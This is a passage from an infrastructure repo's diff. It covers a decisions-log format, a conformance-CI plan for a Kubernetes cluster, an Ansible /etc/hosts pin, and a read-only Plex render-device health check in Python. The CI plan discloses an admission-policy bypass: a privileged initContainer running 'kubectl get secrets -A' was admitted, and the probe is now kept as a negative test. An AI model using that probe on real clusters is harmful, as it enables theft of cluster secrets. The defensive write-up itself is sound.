+One file per handoff, named:
+
+    decisions/YYYY-MM-DD-<slug>.md
+
+`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
+already unique per unit of work, which is precisely the property the filename needs.
+A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
+
+    decisions/2026-09-29-crafty-oauth2-proxy-signin.md
+
+The file is YAML frontmatter followed by three required sections:
+
+```markdown
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: The Keycloak gate works — Crafty's own login was the wall
+---
+
+## What changed
+
+Prose. What you actually did, and why.
+
+## What I verified
+
+The measurements, with their numbers. Quote the field you read, not the prose you
+believed. Name the gate result and its exit code.
+
+## What I did NOT verify
+
+Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
+this repo has been burned by the difference more than once.
+```
+
+All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
+CLAUDE.md §7's contract; making them a checked structure is what stops an entry
+degrading into "done ✅".
+
+## Reading the log
+
+The whole log, oldest first:
+
+    ls decisions/[0-9]*.md | sort
+
+The current PM handoff — the newest entry. Ties within a day are broken by what landed
+on `main` last, which is the honest answer, so ask git rather than the filename:
+
+    git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
+      | grep '^decisions/' | head -1
+
+For a quick skim of who said what:
+
+    grep -H '^title:' decisions/[0-9]*.md | sort
+
+## The archive is frozen
+
+`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
+`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
+changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
+CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
+else, silently, one PR at a time.
+
+If the archive genuinely must change (a leaked credential to redact, say), that is a
+deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
+and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.

docs/plans/l2-l3-conformance-ci-wiring.md

@@ -33,29 +33,67 @@ agents. So the credential model must be decided by the operator before anything
 | Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
 | CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
 | Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
-| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
+| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
 | Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
 | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
 | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
 
-**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
-is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
+**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
+LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
+
+> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
+> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
+> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
+> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
+> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
+> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
+> run" this stage attempts can never succeed; it can only skip and, before the guard added on
+> 2026-09-29, lie about it.
+>
+> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
+> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
+> not enable L2/L3, it only changes which way this stage fails.
 
 ---
 
 ## 3. Gaps to close (functional)
 
-1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
+1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
+   `conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
+   0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
+   entrypoint path and the Job pins that uid — see §4.)*
+   `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
    python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
    `./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
    `v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
    pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
    `CHAINSAW_VERSION` as the single source of truth the image is built from.
-2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
+2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
+   Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
+   args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
+   item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
+   **assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
+   substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
+   clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
+   constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
+   `conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
+   token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
+   only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
+   install the entrypoint at that exact path) and provision that Secret (item 6).
+   Original text: → Add an
    **init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
    into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
    `--requirements` are injected by the CI trigger step as Job env/args.
-3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
+3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
+   `conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
+   still ships its red JUnit — that prints the artifact tree as a base64 tar between
+   `=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
+   line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
+   collection instead of decoding to plausible garbage; the five checks the collector owes are
+   spelled out above that function. It lives in `run.sh` and not in the Job because admission
+   pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
+   head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
+   each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
    volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
    base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
    `kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -91,6 +129,19 @@ stack):**
 
 - SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
   `jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
+- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
+  `containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
+  `volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
+  `privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
+  **ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
+  `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
+  same. Both are now covered by
+  `trigger-initcontainers-must-be-the-committed-clone-step` and
+  `trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
+  **The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
+  field that can carry executable intent, and a `pattern` over an array only asserts *at least
+  one element matches* — use `deny` conditions and cap the count. Also note the residual: no
+  rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
 - A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
   `system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
   committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,

infra/ansible/inventory/group_vars/k3s_prod/vars.yml

@@ -306,19 +306,27 @@ node_baseline_dns_servers:
   # k3s_base_domain, below). It reaches the issuer through the NODE resolver, i.e. through
   # these PUBLIC upstreams — not through CoreDNS's split-horizon answer.
   #
-  # THIS USED TO BE BROKEN, AND THE 2026-09-04 SUBDOMAIN SPLIT FIXED IT. While prod was
-  # authored to serve dev's hostnames, a prod node resolving keycloak.home.keithjackson.dev
-  # publicly got DEV's Gateway VIP (192.168.1.53) — the wrong cluster, on the wrong LAN, so
-  # kubectl OIDC SSO on prod could not work at all. Now prod's issuer is
-  # keycloak.prod.home.keithjackson.dev, and the public record for that name is published by
-  # PROD's own external-dns pointing at PROD's Gateway VIP (192.168.2.20). The public answer
-  # and the split-horizon answer therefore AGREE, and no /etc/hosts pin is needed.
+  # THE PUBLIC ANSWER IS NOW THE WAN, SO THE ISSUER IS PINNED (2026-10-03). Since
+  # platform/gateway/gateway.yaml set an external-dns `target`, every public name is a CNAME
+  # to wan.home.keithjackson.dev = the home WAN IP. The SOHO router does NOT hairpin: from the
+  # LAN, WAN:443 answers with the router's own self-signed placeholder cert (measured from
+  # k3s-prod-2/-3 2026-10-03: `curl` exit 60, ssl_verify_result=18). The apiserver would then
+  # be unable to fetch its issuer's discovery/JWKS, so kubectl OIDC SSO would fail on the
+  # next k3s restart or Keycloak key rotation. node_baseline_hosts_pins (below) pins the
+  # issuer host to the Gateway VIP in /etc/hosts, which glibc consults before these
+  # resolvers. (History: before the 2026-09-04 subdomain split the public answer was DEV's
+  # VIP; after it, the public answer was prod's own VIP and no pin was needed.)
   #
-  # STILL TO VERIFY on prod bring-up (PROD-PROVISIONING.md §10): this holds only once prod's
-  # external-dns has actually published the record. Until then the issuer does not resolve
-  # from the nodes and kubectl SSO fails — the cert-based admin kubeconfig is the break-glass
-  # path, and it always works. Ordering, not a design gap.
+  # The cert-based admin kubeconfig never depends on any of this. It is the break-glass path.
 node_baseline_dns_search: []
+# /etc/hosts pins: node-process names that must reach the in-cluster Gateway directly rather
+# than via the public (WAN, non-hairpinned) answer. See "THE PUBLIC ANSWER IS NOW THE WAN" above.
+# [parity] the IP MUST equal GATEWAY_VIP in clusters/prod/kustomization.yaml (192.168.2.20),
+# and the name MUST follow k3s_oidc_issuer_url's host (roles/k3s_server/defaults/main.yml).
+node_baseline_hosts_pins:
+  - ip: "192.168.2.20"
+    names:
+      - "keycloak.{{ k3s_base_domain }}"
 
 # --- platform hostname suffix, ANSIBLE SIDE (R-ENV-02, R-DNS-01) --------------------
 # PROD SERVES ITS OWN SUBDOMAIN. [parity] MUST equal BASE_DOMAIN in clusters/prod/

infra/ansible/roles/node_baseline/defaults/main.yml

@@ -242,3 +242,9 @@ node_baseline_dns_search:
 node_baseline_dns_options:
   - timeout:2
   - attempts:2
+# Static /etc/hosts entries (tags: dns, hosts), as a list of {ip, names}. EMPTY by default:
+# dev needs none. Prod pins its OIDC issuer host to the Gateway VIP because the public
+# answer for it is the non-hairpinned WAN IP (inventory/group_vars/k3s_prod/vars.yml).
+# Written as ONE marked block, so removing an entry here removes it from the node, and
+# an empty list removes the block entirely.
+node_baseline_hosts_pins: []

infra/ansible/roles/node_baseline/tasks/main.yml

@@ -1090,3 +1090,22 @@
       {% endif %}
   when: node_baseline_dns_mechanism == 'resolv-conf-file'
   tags: [dns]
+
+# /etc/hosts pins — tag `dns` (and `hosts` on its own). Some node processes must reach a
+# public hostname at the in-cluster Gateway, not at its public answer. On prod, the
+# kube-apiserver's OIDC issuer resolves publicly to the WAN IP, which the router does not
+# hairpin. glibc reads /etc/hosts before any nameserver (nsswitch `files dns`), so a pin wins
+# regardless of which resolver mechanism above is in effect. One marked block: entries
+# dropped from node_baseline_hosts_pins disappear from the node, and an empty list
+# removes the block.
+- name: Pin node-process hostnames in /etc/hosts
+  ansible.builtin.blockinfile:
+    path: /etc/hosts
+    marker: "# {mark} node_baseline hosts pins (Ansible, tags: hosts)"
+    block: |
+      {% for pin in node_baseline_hosts_pins %}
+      {{ pin.ip }}	{{ pin.names | join(' ') }}
+      {% endfor %}
+    state: "{{ 'present' if node_baseline_hosts_pins | length > 0 else 'absent' }}"
+    backup: true
+  tags: [dns, hosts]

infra/ansible/roles/node_health/README.md

@@ -19,9 +19,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
 
 ## Contract
 
-- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`,
-  and — only when it can escalate — `smartctl`. It writes nothing to the node and
-  **installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
+- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`
+  (and `lspci` only if it happens to be installed), and — only when it can escalate —
+  `smartctl`. It writes nothing to the node and **installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
   absent the SMART checks SKIP with that as the stated reason (operator ruling 2026-08-31:
   package installation is `node_baseline`'s job, never a health check's, never a manual
   `apt-get`).
@@ -50,6 +50,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
 | `memory.available`, `memory.swap`, `memory.ecc` | headroom, kubelet's swap-off prerequisite **and whether it survives a reboot** (see [Swap off is not the same as swap disabled](#swap-off-is-not-the-same-as-swap-disabled)), EDAC correctable/uncorrectable counters |
 | `memory.physical_total` | **is this machine using the RAM it has?** `/proc/zoneinfo` present-vs-managed pages (no root, metal or VM) and `MemTotal` vs the DIMM capacity SMBIOS reports (`dmidecode -t 17`, root, bare metal). Cause-independent by design — see [The EFI memattr check](#the-efi-memattr-check) |
 | `cpu.throttle`, `cpu.inventory`, `cpu.virtualisation` | thermal throttle events since boot, topology + frequency scaling, VT-x/AMD-V + `/dev/kvm` (KubeVirt, R-PLAT-03) |
+| `graphics.render_device` | is there a usable `/dev/dri/renderD*` character device — the path Plex hardware-transcodes through. See [The render-device check](#the-render-device-check) |
+| `graphics.drm_driver` | which DRM driver is bound to the display device, against `node_health_graphics_expected_driver` (`i915` here) |
+| `graphics.media_stack` | **INFO only**: `vcs*`/`vecs*` media engines, GuC/HuC firmware state, host VAAPI userspace. None of these is ever graded — see below for why |
 | `thermal.max` | hottest sensor across thermal zones and hwmon chips |
 | `pressure.cpu` / `.memory` / `.io` | PSI `some avg60` — dev learned to care about CPU PSI specifically |
 | `network.link`, `network.errors`, `network.resolvers` | link state/speed, NIC error counters, DNS upstream redundancy per address family |
@@ -91,6 +94,78 @@ used to blame that state on "this node has not been baselined yet", which sent t
 back to re-run the role that had already run.
 
 
+## The render-device check
+
+Plex transcodes on the iGPU through `/dev/dri/renderD128`. **When that node stops existing,
+nothing fails loudly.** Plex falls back to software transcoding by itself; the only symptom
+is a hot CPU and stuttering clients. A node rebuild, a BIOS change that disables the onboard
+IGD, a kernel that binds a different DRM driver, or a driver regression all produce exactly
+that silent degradation.
+
+The state was measured by hand on all three prod nodes on 2026-09-30 and found working. **A
+fact measured once decays silently**, so it is re-measured on every health run instead of
+living in a runbook. Nothing is installed, no module is loaded, no group is changed — the
+role's read-only contract is unchanged.
+
+| fact | where it comes from | root? |
+|---|---|---|
+| `/dev/dri` contents, ownership, mode, char-vs-not | `lstat()` on each entry | no |
+| owning group **name** for the render node's gid | `grp.getgrgid()` | no |
+| bound DRM driver | `/sys/class/drm/card*/device/driver` symlink target | no |
+| is the iGPU on the bus at all | `/sys/bus/pci/devices/*/class` (PCI base class `0x03`) | no |
+| media engines (`vcs*`, `vecs*`) | `/sys/class/drm/card*/engine/*` | no |
+| module load state | `/proc/modules` | no |
+| GuC/HuC | `/sys/module/i915/parameters/enable_guc` + `/proc/cmdline` | **parameter file is mode 0400** |
+
+### The PCI scan is separate from the DRM scan on purpose
+
+`/sys/class/drm/card*` exists only once a driver has **bound**. A machine whose iGPU sits on
+the bus with nothing attached has no `card0` at all — and that is precisely the failure being
+hunted. So the display device is looked for on the PCI bus independently, from sysfs, which
+is always there. That is what lets `graphics.render_device` distinguish
+
+- *no GPU in this machine* → **SKIP** (a VM guest; nothing to grade, the same convention
+  `thermal.max` uses for "no sensor on this hardware"), from
+- *a GPU is on the bus and there is still no render node* → **FAIL**.
+
+`lspci` is used **only** to decorate the PCI entry with a readable name, and it is treated as
+optional because it is: `pciutils` is **not** declared in `node_baseline_packages`, so nothing
+in this repo guarantees it. It did turn out to be present on all three prod nodes
+(`/usr/bin/lspci`, measured 2026-09-30 — Debian installs `pciutils` by default), but depending
+on that would mean depending on an undeclared package. Absent, `description` is `null`, the
+numeric IDs are printed instead, and no verdict changes.
+
+### The render node's GID is reported, never asserted
+
+The render device was `root:render`, **gid 992**, mode `0660` on all three prod nodes on
+2026-09-30. The check does **not** compare against `992`, and must not be changed to.
+`render` is a **systemd dynamic allocation** (`systemd-sysusers`), not a Debian static gid
+from `base-passwd`, so a rebuilt node can legitimately land on a different number. Plex's own
+container entrypoint stats the device and joins whichever group owns it, so drift genuinely
+is not a fault. Recording the observed group name and gid in the detail line makes drift
+**visible** without making it an error — a hard `!= 992` would be a false alarm waiting for a
+reinstall.
+
+What *is* configurable is the expected DRM driver, `node_health_graphics_expected_driver`
+(default `i915`), so the verdict stays out of task logic. `xe` bound instead of `i915` is a
+**WARN**, not a FAIL: the device still works, but the two drivers do not share a userspace
+media stack and a libva/iHD build that transcodes correctly against one is not automatically
+right for the other. On these nodes `xe.ko.xz` exists on disk and is bound to nothing.
+
+### Two things that are informational and must stay that way
+
+- **GuC/HuC firmware not loaded** (`i915.enable_guc=0`) is a known, accepted state here. It
+  costs low-power H.264 encode *quality* only; decode and encode both still run on the media
+  engines. Grading it would put a permanent WARN on a chosen configuration.
+- **No host VAAPI userspace / no `vainfo`** is **not a defect**. Plex ships its own libva and
+  media driver inside its container, so the host needs neither. Flagging it would invite
+  someone to `apt install vainfo` on a node to clear a health check — and this role installs
+  nothing.
+
+`enable_guc` is one of i915's `0400` module parameters, so an unprivileged pass usually
+cannot read it. It reports as an honest `NOT READ — <reason>` rather than a fabricated `0`,
+with `/proc/cmdline` as the world-readable second source for an explicit boot override.
+
 ## The EFI memattr check
 
 `infra/PROD-PROVISIONING.md` §0b is authoritative; this is only what the check needs.
@@ -273,3 +348,10 @@ stays `null` — no claim is made either way.
   but the wear/endurance context SKIPs rather than guessing.
 - `ioerr_cnt` counts commands the kernel saw fail, which includes benign rejected or
   unsupported commands during discovery. Attribution needs `dmesg`, which needs root.
+- `graphics.render_device`'s **FAIL path has never fired against a real node** — every prod
+  node has a working render device, and the role is read-only so one cannot be taken away to
+  prove it. The failure branches were exercised against synthetic fact sets only. The same
+  applies to the `xe`-bound WARN: no node here has `xe` bound.
+- `graphics.*` proves the render **device** exists and which driver owns it. It does **not**
+  prove a transcode succeeds — that needs a VAAPI round trip inside Plex's own container,
+  with Plex's own libva, which is out of scope for a node-level check that installs nothing.

infra/ansible/roles/node_health/defaults/main.yml

@@ -35,6 +35,24 @@ node_health_try_privileged: true
 # --nocheck=standby: never spin up a sleeping disk just to read it. Read-only hygiene.
 node_health_smartctl_args: "--json=c --all --nocheck=standby"
 
+# --- Graphics / render device ---------------------------------------------------------
+# The DRM driver this site EXPECTS to be bound to its display device. Measured on all three
+# prod nodes 2026-09-30: `i915` on the CoffeeLake-S GT2 [UHD Graphics 630] iGPU of every HP
+# EliteDesk 800 G5 Mini. The newer `xe` module is present on disk as xe.ko.xz but is bound to
+# nothing, and that difference matters enough to surface: the two drivers do not share a
+# userspace media stack (a libva/iHD build that works against i915 is not automatically the
+# right one for xe), so a silent switch would change Plex's transcoding path. A site on AMD
+# or NVIDIA sets this to `amdgpu` / `nouveau` / `nvidia` rather than editing task logic.
+#
+# WHAT IS DELIBERATELY *NOT* A SETTING HERE: the numeric GID of the render node's owning
+# group. `render` is a systemd DYNAMIC allocation (systemd-sysusers), not a Debian static
+# one, so a rebuilt node may legitimately land on a different number — it was 992 on all
+# three prod nodes on 2026-09-30, and an assertion against that literal would be a false
+# alarm waiting to happen. Plex's own container entrypoint stats the device and joins
+# whichever group owns it, so drift genuinely is not a fault. The observed group name and GID
+# are therefore REPORTED in the check detail and never graded.
+node_health_graphics_expected_driver: i915
+
 # --- Thresholds ---------------------------------------------------------------------
 # All verdicts come from here, so a site can retune without touching task logic.
 node_health_thresholds:

infra/ansible/roles/node_health/files/node_health_collect.py

@@ -35,10 +35,13 @@
 # =============================================================================
 
 import glob
+import grp
 import json
 import os
+import pwd
 import re
 import shutil
+import stat
 import subprocess
 import sys
 import time
@@ -756,6 +759,212 @@ def collect_pressure():
     return out
 
 
+# --- Graphics / DRM render device -----------------------------------------------------
+# WHY THIS IS HERE AT ALL. Plex transcodes on the iGPU through /dev/dri/renderD128. If that
+# node stops existing — a node rebuild, a BIOS change that disables the IGD, a kernel that
+# binds a different DRM driver — nothing breaks loudly: Plex silently falls back to software
+# transcoding and the only symptom is a hot CPU. So the render device is measured on every
+# health run rather than being a fact someone established once by hand.
+#
+# EVERYTHING BELOW IS UNPRIVILEGED. /dev/dri is world-traversable, the device nodes are
+# stat()able by anyone, /sys/class/drm and /sys/bus/pci/devices are world-readable, and so
+# are the module parameters under /sys/module. Nothing here needs root, so nothing here
+# belongs in the privileged pass. (GuC/HuC *load* status lives in debugfs, which does need
+# root AND debugfs mounted; the module PARAMETER below is the unprivileged stand-in and is
+# what actually decides whether the firmware is loaded at all.)
+#
+# THE PCI SCAN IS DELIBERATELY SEPARATE FROM THE DRM SCAN. /sys/class/drm/card* only exists
+# once a driver has BOUND. A machine whose iGPU is on the bus with no driver bound has no
+# card0 at all, and that is precisely the failure this is meant to catch — so the display
+# device is looked for on the PCI bus independently, from sysfs, which is always there.
+# `lspci` is used ONLY to decorate that with a human-readable name, and it is treated as
+# optional because it IS optional: pciutils is not declared in node_baseline_packages, so
+# nothing in this repo guarantees it. It did turn out to be present on all three prod nodes
+# (/usr/bin/lspci, measured 2026-09-30 — Debian installs pciutils by default), but relying on
+# that would make the collector depend on an undeclared package. A missing lspci leaves
+# `description` null, the numeric IDs are reported instead, and no verdict changes.
+DISPLAY_PCI_CLASS_PREFIX = "0x03"  # PCI base class 03 = display controller (VGA/3D/other)
+# DRM drivers worth reporting the load state of. The bound-driver symlink is authoritative
+# (a built-in driver never appears in /proc/modules); this is corroboration only, and it is
+# how "xe.ko.xz exists on disk but is bound to nothing" becomes a visible fact.
+DRM_MODULES = ("i915", "xe", "amdgpu", "radeon", "nouveau", "nvidia")
+
+
+def _uid_name(uid):
+    try:
+        return pwd.getpwuid(uid).pw_name
+    except (KeyError, OverflowError, TypeError, OSError):
+        return None
+
+
+def _gid_name(gid):
+    """Group NAME for a numeric gid, or None when nothing resolves it.
+
+    Reported as an OBSERVED value, never asserted against a literal. The `render` group is
+    a systemd DYNAMIC allocation (it is created by systemd-sysusers, not fixed by Debian's
+    static base-passwd list), so its gid can legitimately differ after a rebuild. Plex's own
+    container init stats the device and joins whatever group owns it, so a moved gid is
+    drift to notice, not a fault to fail on."""
+    try:
+        return grp.getgrgid(gid).gr_name
+    except (KeyError, OverflowError, TypeError, OSError):
+        return None
+
+
+def _module_param(mod, param):
+    """One /sys/module/<mod>/parameters/<param>, with WHY it is missing when it is.
+
+    Three outcomes that must not be conflated: a real value; "the module exposes no such
+    parameter" (not loaded, built in, or a driver that simply has no such knob — xe has no
+    enable_guc, GuC is mandatory there); and "the file exists but is mode 0400". Most i915
+    module parameters are `i915_param_named(..., 0400, ...)` — root-only — so an
+    unprivileged pass legitimately cannot read them. Returning null with the reason keeps
+    that an honest UNKNOWN instead of a fabricated 0. read_text() also records the
+    permission denial in UNREADABLE, so the summary lists it with everything else root
+    would add."""
+    path = "/sys/module/%s/parameters/%s" % (mod, param)
+    if not os.path.exists(path):
+        return {"value": None, "reason": "%s exposes no %s parameter (module not loaded, "
+                                         "built in, or no such knob on this driver)" % (mod, param)}
+    value = read_text(path)
+    if value is None:
+        return {"value": None, "reason": "%s is not readable without root (i915 module "
+                                         "parameters are mode 0400)" % path}
+    return {"value": value, "reason": None}
+
+
+def _dev_node(path):
+    """stat() one /dev/dri entry. lstat, so a symlink is reported as the symlink it is."""
+    try:
+        st = os.lstat(path)
+    except OSError as exc:
+        UNREADABLE.append({"path": path, "reason": "stat failed: %s" % exc})
+        return None
+    return {
+        "path": path,
+        "name": os.path.basename(path),
+        "char_device": stat.S_ISCHR(st.st_mode),
+        "mode": "%04o" % stat.S_IMODE(st.st_mode),
+        "uid": st.st_uid,
+        "gid": st.st_gid,
+        "owner": _uid_name(st.st_uid),
+        "group": _gid_name(st.st_gid),
+    }
+
+
+def collect_graphics():
+    dri_dir = "/dev/dri"
+    dri_present = os.path.isdir(dri_dir)
+    devices = []
+    if dri_present:
+        for path in sorted(glob.glob(dri_dir + "/*")):
+            # /dev/dri/by-path/ is a directory of symlinks, not a device. Skipping
+            # directories rather than filtering to char devices is deliberate: anything
+            # in here that is NOT a character special file is an anomaly worth seeing, and
+            # `char_device: false` is how it becomes visible.
+            if os.path.isdir(path):
+                continue
+            entry = _dev_node(path)
+            if entry is not None:
+                devices.append(entry)
+    render_nodes = [d for d in devices if d["name"].startswith("renderD")]
+
+    # Bound DRM devices. /sys/class/drm also holds one entry per CONNECTOR
+    # (card0-HDMI-A-1, card0-DP-1 ...) — those are outputs, not devices, and are skipped.
+    cards = []
+    for cdir in sorted(glob.glob("/sys/class/drm/card[0-9]*")):
+        name = os.path.basename(cdir)
+        if "-" in name:
+            continue
+        driver = None
+        drvlink = cdir + "/device/driver"
+        if os.path.islink(drvlink):
+            driver = os.path.basename(os.path.realpath(drvlink))
+        address = None
+        devlink = cdir + "/device"
+        if os.path.islink(devlink):
+            address = os.path.basename(os.path.realpath(devlink))
+        # i915/xe publish one directory per hardware engine. vcs* is a video (H.264/HEVC)
+        # engine and vecs* the video-enhancement engine: those two are what a transcode
+        # actually runs on, so their presence is the difference between "a GPU is bound"
+        # and "this GPU can do media work".
+        engines = sorted(
+            {
+                os.path.basename(p)
+                for p in (glob.glob(cdir + "/engine/*") + glob.glob(cdir + "/device/engine/*"))
+                if os.path.isdir(p)
+            }
+        )
+        cards.append(
+            {
+                "card": name,
+                "driver": driver,
+                "pci_address": address,
+                "vendor_id": read_text(cdir + "/device/vendor"),
+                "device_id": read_text(cdir + "/device/device"),
+                "engines": engines,
+                "media_engines": [e for e in engines if e.startswith(("vcs", "vecs"))],
+            }
+        )
+
+    # Display-class devices on the PCI bus, driver bound or not.
+    pci_display = []
+    for pdir in sorted(glob.glob("/sys/bus/pci/devices/*")):
+        class_id = read_text(pdir + "/class") or ""
+        if not class_id.startswith(DISPLAY_PCI_CLASS_PREFIX):
+            continue
+        address = os.path.basename(pdir)
+        driver = None
+        if os.path.islink(pdir + "/driver"):
+            driver = os.path.basename(os.path.realpath(pdir + "/driver"))
+        description = None
+        rc, out, _ = run(["lspci", "-nn", "-s", address])
+        if rc == 0 and out.strip():
+            description = out.strip().splitlines()[0]
+        pci_display.append(
+            {
+                "address": address,
+                "class_id": class_id or None,
+                "vendor_id": read_text(pdir + "/vendor"),
+                "device_id": read_text(pdir + "/device"),
+                "revision": read_text(pdir + "/revision"),
+                "driver": driver,
+                "description": description,
+            }
+        )
+
+    loaded = set()
